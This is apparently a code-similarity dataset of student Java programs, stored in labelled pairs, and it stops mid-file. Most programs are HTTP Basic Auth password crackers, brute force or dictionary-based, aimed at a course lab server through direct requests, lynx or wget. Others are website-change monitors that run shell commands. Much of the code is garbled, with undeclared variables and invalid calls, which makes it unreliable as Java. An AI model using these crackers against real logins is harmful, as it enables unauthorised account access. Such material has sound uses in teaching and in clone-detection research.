import java.net.*; import java.io.*; import java.util.Date; public class BruteForce { private URL url; private HttpURLConnection connection; private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}; private String userPassword, base64_userPassword; private static char wrongPass; public BruteForce() { wrongPass = 'Y'; } public char determinePass(String inputURL, String userName, String passWord){ try{ url = new URL(inputURL); connection = (HttpURLConnection)url.openConnection(); this.getEncoded(userName, passWord); connection.setDoInput(true); connection.setDoOutput(false); connection.setRequestProperty("Authorization", " " + base64_userPassword); if (connection.getResponseCode() == 200) { System.out.println("Success!! Password is: " + passWord); wrongPass = 'N'; } return wrongPass; } catch (MalformedURLException e){System.out.println("Invalide url");} catch (IOException e){System.out.println("Error URL"); wrongPass = 'Y';} return wrongPass; } public static void main(String[] args) { int i, j, k; String brutePass; BruteForce bruteForce1 = new BruteForce(); Date date = new Date(System.currentTimeMillis()); System.out.print(" time is: "); System.out.println(date.toString()); for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + lowerCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + upperCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + upperCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + lowerCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = upperCase[i] + lowerCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + upperCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + upperCase[j] + lowerCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} if (wrongPass == 'N') { date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); System.exit(0); } for (i = 0; i < 26; i++) { for (j = 0; j < 26; j++) { for (k = 0; k < 26; k++) { brutePass = lowerCase[i] + lowerCase[j] + upperCase[k]; bruteForce1.determinePass(args[0], args[1], brutePass); if (wrongPass == 'N') { i = 26; j = 26; k = 26; }}}} date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); } private void getEncoded(String userName, String password){ userPassword = userName + ":" + password; base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
042.java
197.java
0
import java.net.*; import java.io.*; public class BruteForce { private String strUserName; private String strURL; private int iAttempts; public BruteForce(String strURL,String strUserName) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; } public String getPassword(){ URL u; String result =""; PassGenBrute PG = new PassGenBrute(3); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo("HTTP/1.1 200 OK")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + ":" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty("Authorization"," " + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println("MalformedURLException: "+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main (String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 2) { BruteForce BF = new BruteForce(arg[0],arg[1]); System.out.println("Processing ... "); timeStart = System.currentTimeMillis(); System.out.println("Password = " + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)"); System.out.println("Total Attempts = " + BF.getAttempts()); } else { System.out.println("[Usage] java BruteForce <URL> <USERNAME>"); } } } class PassGenBrute { private char[] password; public PassGenBrute(int lenght) { password = new char[lenght]; for (int i = 0; i < lenght; i++){ password[i] = 65; } password[0]--; } public String getNewPassword() throws PasswordFailureException{ password[0]++; try { for (int i=0; i<password.length ; i++){ if (password[i] == 90) { password[i] = 97; } if (password[i] > 122) { password[i] = 65; password[i+1]++; } } } catch (RuntimeException re){ throw new PasswordFailureException (); } return new String(password); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
225.java
197.java
0
import java.io.*; import java.awt.*; import java.net.*; public class BruteForce { public static void main (String[] args) { String pw = new String(); pw = getPassword (); System.out.println("Password is: "+pw); } public static String getPassword() { String passWord = new String(); passWord = "AAA"; char[] guess = passWord.toCharArray(); Process pro = null; Runtime runtime = Runtime.getRuntime(); BufferedReader in = null; String str=null; boolean found = true; System.out.println(" attacking....."); for (int i=65;i<=122 ;i++ ) { guess[0]=(char)(i); for (int j=65;j<=122 ;j++ ) { guess[1]=(char)(j); for (int k=65 ;k<=122 ;k++ ) { guess[2]=(char)(k); passWord = new String(guess); String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php "; try { pro = runtime.exec(cmd); in = new BufferedReader(new InputStreamReader(pro.getErrorStream())); found = true; if((str=in.readLine())!=null) { while ((str=in.readLine())!=null) { if (str.endsWith("Required")) { found = false; } } if (found == true) { return passWord; } } } catch (Exception exception) { exception.getMessage(); } if(k==90) k=96; runtime.gc(); } if(j==90) j=96; } if(i==90) i=96; } return "not found"; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
044.java
197.java
0
import java.net.*; import java.io.*; public class Dictionary { private String strUserName; private String strURL; private String strDictPath; private int iAttempts; public Dictionary(String strURL,String strUserName,String strDictPath) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; this.strDictPath = strDictPath; } public String getPassword(){ URL u; String result =""; PassGenDict PG = new PassGenDict(3,strDictPath); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo("HTTP/1.1 200 OK")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + ":" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty("Authorization"," " + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println("MalformedURLException: "+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main(String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 3) { Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); System.out.println("Processing ... "); timeStart = System.currentTimeMillis(); System.out.println("Password = " + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)"); System.out.println("Total Attempts = " + BF.getAttempts()); } else { System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"); } } } class PassGenDict { private char[] password; private String line; int iPassLenght; private BufferedReader inputFile; public PassGenDict(int lenght, String strDictPath) { try{ inputFile = new BufferedReader(new FileReader(strDictPath)); } catch (Exception e){ } iPassLenght = lenght; } public String getNewPassword() throws PasswordFailureException{ try { { line = inputFile.readLine(); }while (line.length() != iPassLenght); } catch (Exception e){ throw new PasswordFailureException (); } return (line); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
169.java
197.java
0
package java.httputils; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.io.OutputStream; public class WatchDog { protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); protected int interval = 24; protected String URL = "http://www.cs.rmit.edu./students/"; protected String fileName = "WatchDogContent.html"; protected String command = "./alert_mail.sh"; protected String savedContent; protected String retrievedContent; public WatchDog() { super(); } public void run() throws Exception { HttpRequestClient client = null; System.out.println(getClass().getName() + "Retrieving baseline copy of: " + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + "Writing baseline content : " + getFileName()); writeFile(); while (true) { System.out.println(getClass().getName() + " Sleeping for hours: " + getInterval()); Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval()); System.out.println(getClass().getName() + " Retrieving: " + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + " saved copy: " + getURL()); savedContent = readFile(); System.out.println(getClass().getName() + " Comparing saved and retrieved. "); if (!savedContent.equals(retrievedContent)) { System.out.println(getClass().getName() + " Difference found. "); writeTempFile(); runCommand(); } writeFile(); } } public String runCommand() { String cmd = getCommand() + " \"" + getURL() + "\""; try { Runtime r = Runtime.getRuntime(); System.out.println(getClass().getName() + " Executing: " + cmd); Process proc = r.exec(cmd); } catch (Exception e) { try { Runtime r = Runtime.getRuntime(); Process proc = r.exec(cmd); } catch (Exception ex) { System.out.println(getClass().getName() + " Could not run :" + getCommand() + " because : " + ex.getMessage()); } } return "Executed successfully"; } protected String readFile() throws FileNotFoundException { BufferedInputStream input = null; FileInputStream file = null; StringBuffer content = new StringBuffer(); try { file = new FileInputStream(getFileName()); input = new BufferedInputStream(file); } catch (FileNotFoundException x) { System.err.println("File not found: " + getFileName()); throw x; } try { int ch; while ((ch = input.get()) != -1) { content.append((char)ch); } } catch (IOException x) { x.printStackTrace(); } finally { if (input != null) { try { input.get(); file.get(); } catch (IOException e) { } } } return content.toString(); } protected void writeFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(getFileName(), false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } protected void writeTempFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(".html", false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } public static void main(String[] args) { WatchDog watchDog = new WatchDog(); if (args.length < 3) { watchDog.printUsage(); } System.out.println(watchDog.getClass().getName() + ": Initialising with " + args[0] + " \n" + args[1] + " \n" + args[2] + " \n"); watchDog.setURL(args[0]); watchDog.setInterval(Integer.parseInt(args[1])); watchDog.setCommand(args[2]); try { System.out.println(watchDog.getClass().getName() + ": Invoking the run method."); watchDog.run(); } catch (Exception e) { e.printStackTrace(); } } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** WatchDog proper usage **\n\n"); s.append( this.getClass().getName() + " <URL> <interval> <Command execute>\n\n"); return s.toString(); } public String getCommand() { return command; } public String getFileName() { return fileName; } public int getInterval() { return interval; } public String getURL() { return URL; } public void setCommand(String string) { command = string; } public void setFileName(String string) { fileName = string; } public void setInterval(int i) { interval = i; } public void setURL(String string) { URL = string; } public String getRetrievedContent() { return retrievedContent; } public String getSavedContent() { return savedContent; } public void setRetrievedContent(String string) { retrievedContent = string; } public void setSavedContent(String string) { savedContent = string; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
068.java
197.java
0
import java.Object; import java.io.*; import java.String; import java.util.*; class Dictionary{ public static void main(String [] args){ try { Date d = new Date(); String line1=""; String ps=""; String file1 = "words.txt"; String file2 = "index.html"; String endline="Authorization failed."; String [] cmd = new String[4]; cmd[0] = "wget"; cmd[1] = "--http-user="; cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/"; FileReader fr1 = new FileReader(file1); BufferedReader in1 = new BufferedReader(fr1); while((line1 = in1.readLine())!=null) { try{ cmd[2] = connect(line1); Runtime.getRuntime().exec(cmd); if(line1.length()==3) ps = line1; System.out.println(cmd[2]); File f = new File(file2); if(f.exists()) { System.out.println("password: " + ps); break; } } catch(IOException ex) { System.out.println("hello1"); } } Date end = new Date(); System.out.println(d.toString()); System.out.println(end.toString()); System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds())); } catch(IOException e) { System.out.println("hello,didnt find file."); } } public static String connect(String str1) { char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='}; String str = new String(data); return str + str1; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
071.java
197.java
0
import java.io.*; import java.net.*; import java.util.*; import javax.swing.text.html.*; import javax.swing.text.html.parser.*; import javax.swing.text.*; public class WatchDog { private URL url = null; private int time = 0; private ArrayList images = new ArrayList(); public WatchDog(String urlString, int time) { this.time = time; try{ this.url = new URL( urlString ); }catch(MalformedURLException mefu){ System.out.println(mefu.toString()); } } private URLConnection getConnection( ) throws IOException { URLConnection = url.openConnection(); return ; } public ArrayList parse()throws Exception{ HTMLEditorKit.ParserCallback callback = new HTMLEditorKit.ParserCallback (){ public void handleSimpleTag(HTML.Tag t, MutableAttributeSet a, int pos){ if(HTML.Tag.IMG == t){ String image = (String)a.getAttribute(HTML.Attribute.SRC); image = image.trim(); if(image.charAt(0)=='/'){ image= url.getProtocol()+"://"+url.getHost()+(url.getPort()!=-1?":"+url.getPort():"")+image; }else if(image.toLowerCase().indexOf("http")==-1){ String tmp = "", path = ""; tmp= url.getProtocol()+"://"+url.getHost()+(url.getPort()!=-1?":"+url.getPort():""); path = url.getPath(); if(path.lastIndexOf("/") > 0) path = path.substring(0,path.lastIndexOf("/")+1); image = tmp+path+image; } System.out.println(image); images.add(image); } } }; URLConnection = getConnection(); this.images = new ArrayList(); Reader reader = new InputStreamReader( bf.getInputStream() ); ParserDelegator pd = new ParserDelegator(); pd.parse( reader , callback , true ); return images; } public void executeCommand(String command)throws Exception{ if(command == null) return; String [] command1 = new String[]{"//sh", "-c",command}; Process pc = Runtime.getRuntime().exec(command1); Thread.sleep(5000); } public void append(String fileName, String text) throws Exception { File f = new File(fileName); if(f.exists()){ fileLength = f.length(); RandomAccessFile raf = new RandomAccessFile(f, "rw"); raf.print(fileLength); raf.writeBytes(text); raf.print(); } else{ throw new FileNotFoundException(); } } public void concatenate(String file1, String file2, String file3)throws Exception{ File f = new File(file3); if(f.exists()) f.delete(); f.createNewFile(); BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1))); String line = ""; { line = dict.readLine(); if(line== null) break; this.append(file3, line+"\n"); } while(line!=null); dict.print(); dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2))); line = ""; { line = dict.readLine(); if(line== null) break; this.append(file3, line+"\n"); } while(line!=null); dict.print(); f = new File(file1); if(f.exists()) f.delete(); f = new File(file2); if(f.exists()) f.delete(); } public getTime(){ return this.time; } public static void main (String[] args) { if(args.length != 3){ System.out.println("usage: java attacks.WatchDog <url: e.g. http://www.cs.rmit.edu./students/> <time gap : e.g. 1440> <email: e.g. @cs.rmit.edu.>"); System.out.println("url: is the url monitor by watchdog"); System.out.println("time: is after much minutes, program should check url again"); System.out.println("email address: which email should sent of changes"); System.exit(1); } time = 0; try{ time = Integer.parseInt(args[1]); time = time*1000*60; }catch(NumberFormatException nfe){ System.out.println(nfe); System.exit(1); } WatchDog watchDog1 = new WatchDog(args[0], time); while(true){ try{ int ret; System.out.println("Downloading contents from "+args[0]); String command = new String("wget " + args[0] ); watchDog1.executeCommand(command); System.out.println("Retrieving images from "+args[0]); String images[] = (String[])watchDog1.parse().toArray(new String[0]); String imageNames = ""; int i; System.out.println("Downloading images "); for(i = 0; i < images.length; i++){ StringTokenizer = new StringTokenizer(new URL(images[i]).getPath(),"/"); String part = ""; while(i.hasMoreTokens()){ part = i.nextToken("/"); } imageNames+=part+" "; command = new String("wget " +images[i]+" -O "+part); watchDog1.executeCommand(command); } command = new String("md5sum " +imageNames + ">md5sums.txt"); watchDog1.executeCommand(command); command = new String("rm " +imageNames); watchDog1.executeCommand(command); watchDog1.concatenate("index.html", "md5sums.txt", "indexNew.txt"); File f = new File("indexOld.txt"); if(f.exists()){ System.out.println("Comparing ..."); command = new String("diff indexOld.txt indexNew.txt>diff.txt"); watchDog1.executeCommand(command); File difFile = new File("diff.txt"); if(difFile.exists() && difFile.length() > 0){ command = new String("less diff.txt | mail "+args[2]); watchDog1.executeCommand(command); System.out.println("URL changed, Changes has been e-mailed "+ args[2]); }else{ System.out.println(" difference found.."); } }else System.out.println("Since old file does not exist, changes detected"); command = new String("mv indexNew.txt indexOld.txt"); watchDog1.executeCommand(command); System.out.println("Watch Dog is going sleep for "+watchDog1.getTime()/1000/60+" minutes.."); Thread.sleep(watchDog1.getTime()); System.out.println("Checking the every "+watchDog1.getTime()/1000/60+" minutes.."); }catch(IOException ioe){ ioe.printStackTrace(); }catch(InterruptedException e){ e.printStackTrace(); }catch(Exception e){ e.printStackTrace(); } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
070.java
197.java
0
import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println("Error opening dictionary file:\n" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; while(!"HTTP/1.1 200 